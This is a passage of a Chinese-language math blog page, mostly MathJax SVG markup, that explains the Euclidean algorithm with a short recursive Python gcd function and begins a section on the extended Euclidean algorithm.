157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(1155.8,0)"><path data-c="2264" d="M674 636Q682 636 688 630T694 615T687 601Q686 600 417 472L151 346L399 228Q687 92 691 87Q694 81 694 76Q694 58 676 56H670L382 192Q92 329 90 331Q83 336 83 348Q84 359 96 365Q104 369 382 500T665 634Q669 636 674 636ZM84 -118Q84 -108 99 -98H678Q694 -104 694 -118Q694 -130 679 -138H98Q84 -131 84 -118Z"></path></g><g data-mml-node="mi" transform="translate(2211.6,0)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container>，易证 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="30.987ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 13696.2 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D454" d="M311 43Q296 30 267 15T206 0Q143 0 105 45T66 160Q66 265 143 353T314 442Q361 442 401 394L404 398Q406 401 409 404T418 412T431 419T447 422Q461 422 470 413T480 394Q480 379 423 152T363 -80Q345 -134 286 -169T151 -205Q10 -205 10 -137Q10 -111 28 -91T74 -71Q89 -71 102 -80T116 -111Q116 -121 114 -130T107 -144T99 -154T92 -162L90 -164H91Q101 -167 151 -167Q189 -167 211 -155Q234 -144 254 -122T282 -75Q288 -56 298 -13Q311 35 311 43ZM384 328L380 339Q377 350 375 354T369 368T359 382T346 393T328 402T306 405Q262 405 221 352Q191 313 171 233T151 117Q151 38 213 38Q269 38 323 108L331 118L384 328Z"></path></g><g data-mml-node="mi" transform="translate(477,0)"><path data-c="1D450" d="M34 159Q34 268 120 355T306 442Q362 442 394 418T427 355Q427 326 408 306T360 285Q341 285 330 295T319 325T330 359T352 380T366 386H367Q367 388 361 392T340 400T306 404Q276 404 249 390Q228 381 206 359Q162 315 142 235T121 119Q121 73 147 50Q169 26 205 26H209Q321 26 394 111Q403 121 406 121Q410 121 419 112T429 98T420 83T391 55T346 25T282 0T202 -11Q127 -11 81 37T34 159Z"></path></g><g data-mml-node="mi" transform="translate(910,0)"><path data-c="1D451" d="M366 683Q367 683 438 688T511 694Q523 694 523 686Q523 679 450 384T375 83T374 68Q374 26 402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487H491Q506 153 506 145Q506 140 503 129Q490 79 473 48T445 8T417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157Q33 205 53 255T101 341Q148 398 195 420T280 442Q336 442 364 400Q369 394 369 396Q370 400 396 505T424 616Q424 629 417 632T378 637H357Q351 643 351 645T353 664Q358 683 366 683ZM352 326Q329 405 277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q233 26 290 98L298 109L352 326Z"></path></g><g data-mml-node="mo" transform="translate(1430,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(1819,0)"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(2697,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mi" transform="translate(3141.7,0)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(3741.7,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(4408.4,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mi" transform="translate(5464.2,0)"><path data-c="1D454" d="M311 43Q296 30 267 15T206 0Q143 0 105 45T66 160Q66 265 143 353T314 442Q361 442 401 394L404 398Q406 401 409 404T418 412T431 419T447 422Q461 422 470 413T480 394Q480 379 423 152T363 -80Q345 -134 286 -169T151 -205Q10 -205 10 -137Q10 -111 28 -91T74 -71Q89 -71 102 -80T116 -111Q116 -121 114 -130T107 -144T99 -154T92 -162L90 -164H91Q101 -167 151 -167Q189 -167 211 -155Q234 -144 254 -122T282 -75Q288 -56 298 -13Q311 35 311 43ZM384 328L380 339Q377 350 375 354T369 368T359 382T346 393T328 402T306 405Q262 405 221 352Q191 313 171 233T151 117Q151 38 213 38Q269 38 323 108L331 118L384 328Z"></path></g><g data-mml-node="mi" transform="translate(5941.2,0)"><path data-c="1D450" d="M34 159Q34 268 120 355T306 442Q362 442 394 418T427 355Q427 326 408 306T360 285Q341 285 330 295T319 325T330 359T352 380T366 386H367Q367 388 361 392T340 400T306 404Q276 404 249 390Q228 381 206 359Q162 315 142 235T121 119Q121 73 147 50Q169 26 205 26H209Q321 26 394 111Q403 121 406 121Q410 121 419 112T429 98T420 83T391 55T346 25T282 0T202 -11Q127 -11 81 37T34 159Z"></path></g><g data-mml-node="mi" transform="translate(6374.2,0)"><path data-c="1D451" d="M366 683Q367 683 438 688T511 694Q523 694 523 686Q523 679 450 384T375 83T374 68Q374 26 402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487H491Q506 153 506 145Q506 140 503 129Q490 79 473 48T445 8T417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157Q33 205 53 255T101 341Q148 398 195 420T280 442Q336 442 364 400Q369 394 369 396Q370 400 396 505T424 616Q424 629 417 632T378 637H357Q351 643 351 645T353 664Q358 683 366 683ZM352 326Q329 405 277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q233 26 290 98L298 109L352 326Z"></path></g><g data-mml-node="mo" transform="translate(6894.2,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(7283.2,0)"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(8161.2,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mi" transform="translate(8605.9,0)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mspace" transform="translate(9205.9,0)"></g><g data-mml-node="mi" transform="translate(10039.6,0)"><path data-c="6D" d="M41 46H55Q94 46 102 60V68Q102 77 102 91T102 122T103 161T103 203Q103 234 103 269T102 328V351Q99 370 88 376T43 385H25V408Q25 431 27 431L37 432Q47 433 65 434T102 436Q119 437 138 438T167 441T178 442H181V402Q181 364 182 364T187 369T199 384T218 402T247 421T285 437Q305 442 336 442Q351 442 364 440T387 434T406 426T421 417T432 406T441 395T448 384T452 374T455 366L457 361L460 365Q463 369 466 373T475 384T488 397T503 410T523 422T546 432T572 439T603 442Q729 442 740 329Q741 322 741 190V104Q741 66 743 59T754 49Q775 46 803 46H819V0H811L788 1Q764 2 737 2T699 3Q596 3 587 0H579V46H595Q656 46 656 62Q657 64 657 200Q656 335 655 343Q649 371 635 385T611 402T585 404Q540 404 506 370Q479 343 472 315T464 232V168V108Q464 78 465 68T468 55T477 49Q498 46 526 46H542V0H534L510 1Q487 2 460 2T422 3Q319 3 310 0H302V46H318Q379 46 379 62Q380 64 380 200Q379 335 378 343Q372 371 358 385T334 402T308 404Q263 404 229 370Q202 343 195 315T187 232V168V108Q187 78 188 68T191 55T200 49Q221 46 249 46H265V0H257L234 1Q210 2 183 2T145 3Q42 3 33 0H25V46H41Z"></path><path data-c="6F" d="M28 214Q28 309 93 378T250 448Q340 448 405 380T471 215Q471 120 407 55T250 -10Q153 -10 91 57T28 214ZM250 30Q372 30 372 193V225V250Q372 272 371 288T364 326T348 362T317 390T268 410Q263 411 252 411Q222 411 195 399Q152 377 139 338T126 246V226Q126 130 145 91Q177 30 250 30Z" transform="translate(833,0)"></path><path data-c="64" d="M376 495Q376 511 376 535T377 568Q377 613 367 624T316 637H298V660Q298 683 300 683L310 684Q320 685 339 686T376 688Q393 689 413 690T443 693T454 694H457V390Q457 84 458 81Q461 61 472 55T517 46H535V0Q533 0 459 -5T380 -11H373V44L365 37Q307 -11 235 -11Q158 -11 96 50T34 215Q34 315 97 378T244 442Q319 442 376 393V495ZM373 342Q328 405 260 405Q211 405 173 369Q146 341 139 305T131 211Q131 155 138 120T173 59Q203 26 251 26Q322 26 373 103V342Z" transform="translate(1333,0)"></path></g><g data-mml-node="mstyle" transform="translate(11928.6,0)"><g data-mml-node="mspace"></g></g><g data-mml-node="mstyle" transform="translate(12095.6,0)"><g data-mml-node="mspace"></g></g><g data-mml-node="mi" transform="translate(12429.2,0)"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(13307.2,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container>，利用该性质可以递归式地简化问题，直至某个输入值归零</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">gcd</span>(<span class="params">m,n</span>):</span><br><span class="line"><span class="keyword">if</span> m == <span class="number">0</span>:</span><br><span class="line"><span class="keyword">return</span> n</span><br><span class="line"><span class="keyword">return</span> gcd(n % m, m)</span><br></pre></td></tr></table></figure><p>由于 0 可以被任何数整除，基础情形下可得 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="12.865ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 5686.2 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D454" d="M311 43Q296 30 267 15T206 0Q143 0 105 45T66 160Q66 265 143 353T314 442Q361 442 401 394L404 398Q406 401 409 404T418 412T431 419T447 422Q461 422 470 413T480 394Q480 379 423 152T363 -80Q345 -134 286 -169T151 -205Q10 -205 10 -137Q10 -111 28 -91T74 -71Q89 -71 102 -80T116 -111Q116 -121 114 -130T107 -144T99 -154T92 -162L90 -164H91Q101 -167 151 -167Q189 -167 211 -155Q234 -144 254 -122T282 -75Q288 -56 298 -13Q311 35 311 43ZM384 328L380 339Q377 350 375 354T369 368T359 382T346 393T328 402T306 405Q262 405 221 352Q191 313 171 233T151 117Q151 38 213 38Q269 38 323 108L331 118L384 328Z"></path></g><g data-mml-node="mi" transform="translate(477,0)"><path data-c="1D450" d="M34 159Q34 268 120 355T306 442Q362 442 394 418T427 355Q427 326 408 306T360 285Q341 285 330 295T319 325T330 359T352 380T366 386H367Q367 388 361 392T340 400T306 404Q276 404 249 390Q228 381 206 359Q162 315 142 235T121 119Q121 73 147 50Q169 26 205 26H209Q321 26 394 111Q403 121 406 121Q410 121 419 112T429 98T420 83T391 55T346 25T282 0T202 -11Q127 -11 81 37T34 159Z"></path></g><g data-mml-node="mi" transform="translate(910,0)"><path data-c="1D451" d="M366 683Q367 683 438 688T511 694Q523 694 523 686Q523 679 450 384T375 83T374 68Q374 26 402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487H491Q506 153 506 145Q506 140 503 129Q490 79 473 48T445 8T417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157Q33 205 53 255T101 341Q148 398 195 420T280 442Q336 442 364 400Q369 394 369 396Q370 400 396 505T424 616Q424 629 417 632T378 637H357Q351 643 351 645T353 664Q358 683 366 683ZM352 326Q329 405 277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q233 26 290 98L298 109L352 326Z"></path></g><g data-mml-node="mo" transform="translate(1430,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(1819,0)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(2419,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mn" transform="translate(2863.7,0)"><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path></g><g data-mml-node="mo" transform="translate(3363.7,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(4030.4,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mi" transform="translate(5086.2,0)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></p><h2 id="延伸版-Euclidean-算法"><a href="#延伸版-Euclidean-算法" class="headerlink" title="延伸版 Euclidean 算法"></a>延伸版 Euclidean 算法</h2><p>对于任意正整数 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex;" xmlns="http://www.w3.org/2000/svg" width="4.35ex" height="1.439ex" role="img" focusable="false" viewBox="0 -442 1922.7 636"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(878,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mi" transform="translate(1322.7,0)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container>，存在整数 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex;" xmlns="http://www.w3.org/2000/svg" width="3.397ex" height="1.441ex" role="img" focusable="false" viewBox="0 -443 1501.7 637"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D462" d="M21 287Q21 295 30 318T55 370T99 420T158 442Q204 442 227 417T250 358Q250 340 216 246T182 105Q182 62 196 45T238 27T291 44T328 78L339 95Q341 99 377 247Q407 367 413 387T427 416Q444 431 463 431Q480 431 488 421T496 402L420 84Q419 79 419 68Q419 43 426 35T447 26Q469 29 482 57T512 145Q514 153 532 153Q551 153 551 144Q550 139 549 130T540 98T523 55T498 17T462 -8Q454 -10 438 -10Q372 -10 347 46Q345 45 336 36T318 21T296 6T267 -6T233 -11Q189 -11 155 7Q103 38 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(572,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mi" transform="translate(1016.7,0)"><path data-c="1D463" d="M173 380Q173 405 154 405Q130 405 104 376T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Q21 294 29 316T53 368T97 419T160 441Q202 441 225 417T249 361Q249 344 246 335Q246 329 231 291T200 202T182 113Q182 86 187 69Q200 26 250 26Q287 26 319 60T369 139T398 222T409 277Q409 300 401 317T383 343T365 361T357 383Q357 405 376 424T417 443Q436 443 451 425T467 367Q467 340 455 284T418 159T347 40T241 -11Q177 -11 139 22Q102 54 102 117Q102 148 110 181T151 298Q173 362 173 380Z"></path></g></g></g></svg></mjx-container> 满足 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="20.863ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 9221.7 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45A" d="M21 287Q22 293 24 303T36 341T56 388T88 425T132 442T175 435T205 417T221 395T229 376L231 369Q231 367 232 367L243 378Q303 442 384 442Q401 442 415 440T441 433T460 423T475 411T485 398T493 385T497 373T500 364T502 357L510 367Q573 442 659 442Q713 442 746 415T780 336Q780 285 742 178T704 50Q705 36 709 31T724 26Q752 26 776 56T815 138Q818 149 821 151T837 153Q857 153 857 145Q857 144 853 130Q845 101 831 73T785 17T716 -10Q669 -10 648 17T627 73Q627 92 663 193T700 345Q700 404 656 404H651Q565 404 506 303L499 291L466 157Q433 26 428 16Q415 -11 385 -11Q372 -11 364 -4T353 8T350 18Q350 29 384 161L420 307Q423 322 423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 181Q151 335 151 342Q154 357 154 369Q154 405 129 405Q107 405 92 377T69 316T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mi" transform="translate(878,0)"><path data-c="1D462" d="M21 287Q21 295 30 318T55 370T99 420T158 442Q204 442 227 417T250 358Q250 340 216 246T182 105Q182 62 196 45T238 27T291 44T328 78L339 95Q341 99 377 247Q407 367 413 387T427 416Q444 431 463 431Q480 431 488 421T496 402L420 84Q419 79 419 68Q419 43 426 35T447 26Q469 29 482 57T512 145Q514 153 532 153Q551 153 551 144Q550 139 549 130T540 98T523 55T498 17T462 -8Q454 -10 438 -10Q372 -10 347 46Q345 45 336 36T318 21T296 6T267 -6T233 -11Q189 -11 155 7Q103 38 103 113Q103 170 138 262T173 379Q173 380 173 381Q173 390 173 393T169 400T158 404H154Q131 404 112 385T82 344T65 302T57 280Q55 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(1672.2,0)"><path data-c="2B" d="M56 237T56 250T70 270H369V420L370 570Q380 583 389 583Q402 583 409 568V270H707Q722 262 722 250T707 230H409V-68Q401 -82 391 -82H389H387Q375 -82 369 -68V230H70Q56 237 56 250Z"></path></g><g data-mml-node="mi" transform="translate(2672.4,0)"><path data-c="1D45B" d="M21 287Q22 293 24 303T36 341T56 388T89 425T135 442Q171 442 195 424T225 390T231 369Q231 367 232 367L243 378Q304 442 382 442Q436 442 469 415T503 336T465 179T427 52Q427 26 444 26Q450 26 453 27Q482 32 505 65T540 145Q542 153 560 153Q580 153 580 145Q580 144 576 130Q568 101 554 73T508 17T439 -10Q392 -10 371 17T350 73Q350 92 386 193T423 345Q423 404 379 404H374Q288 404 229 303L222 291L189 157Q156 26 151 16Q138 -11 108 -11Q95 -11 87 -5T76 7T74 17Q74 30 112 180T152 343Q153 348 153 366Q153 405 129 405Q91 405 66 305Q60 285 60 284Q58 278 41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mi" transform="translate(3272.4,0)"><path data-c="1D463" d="M173 380Q173 405 154 405Q130 405 104 376T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Q21 294 29 